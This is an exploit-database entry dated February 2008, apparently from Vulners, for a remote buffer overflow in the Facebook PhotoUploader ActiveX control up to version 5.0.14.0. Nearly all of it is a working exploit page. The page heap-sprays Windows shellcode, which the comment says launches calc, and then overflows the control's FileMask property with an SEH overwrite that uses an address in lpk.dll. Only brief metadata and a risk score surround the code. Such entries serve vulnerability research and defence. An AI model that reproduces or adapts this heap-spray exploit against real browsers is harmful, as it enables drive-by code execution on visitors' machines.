FaceBook PhotoUploader <= 5.0.14.0 Remote Buffer Overflow Exploit

🗓️ 14 Feb 2008 00:00:00Reported by RootType

Facebook PhotoUploader Remote Buffer Overflow Exploi


                                                &lt;html&gt;
	&lt;head&gt;
		&lt;object id=&quot;target&quot; classid=&quot;clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0&quot;&gt;&lt;/object&gt;
	&lt;/head&gt;
&lt;body&gt;
&lt;script&gt;

var shellcode = unescape(&quot;%u0D0D%u0D0D%u9090%u9090&quot;+ //Windows Execute Command (calc)
&quot;%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b&quot;+
&quot;%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca&quot;+
&quot;%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b&quot;+
&quot;%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040&quot;+
&quot;%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0&quot;+
&quot;%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a&quot;+
&quot;%u685f%ufe98%u0e8a%uff57%u63e7%u6c61%u0063&quot;);

var address = 0x0d0d0d0d;
var block_size = 0x400000;
var blocks = (address - block_size) / block_size;
var spray = unescape(&quot;%u0D0D%u0D0D&quot;);
var tmp = unescape(&quot;%u0D0D%u0D0D&quot;);
var tmp_size = 1044;

while((spray.length * 2) &lt; block_size) spray += spray;
spray = spray.substring(0, block_size - shellcode.length);
memory = new Array();
for(i = 0; i &lt; blocks; i++) memory[i] = spray + shellcode;
while(tmp.length &lt; (tmp_size * 2)) tmp += tmp;
tmp = tmp.substring(0, tmp_size);

	var size = 131;
	var z = Array(size);
		for (i=0; i&lt;size; i++) {
			z[i] = unescape(&quot;%u0d0d%u0d0d&quot;);
		}

	var size = 131;
	var z2 = Array(size);
		for (i=0; i&lt;size; i++) {
			z2[i] = unescape(&quot;%u0d0d%u0d0d&quot;);
		}
//' 0x629c1795	 pop esi, pop ebp, retn 14   lpk.dll NO SAFE SEH
target.FileMask=z.join('') + unescape(&quot;%uebFF%uebFF&quot;) + unescape(&quot;%u1795%u629c&quot;) + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + tmp.substr(0,1)  // + String(2000, unescape(&quot;%uffff&quot;))
&lt;/script&gt;
&lt;/HTML&gt;

14 Feb 2008 00:00Current

7.1High risk

Vulners AI Score7.1

FaceBook PhotoUploader &lt;= 5.0.14.0 Remote Buffer Overflow Exploit

FaceBook PhotoUploader <= 5.0.14.0 Remote Buffer Overflow Exploit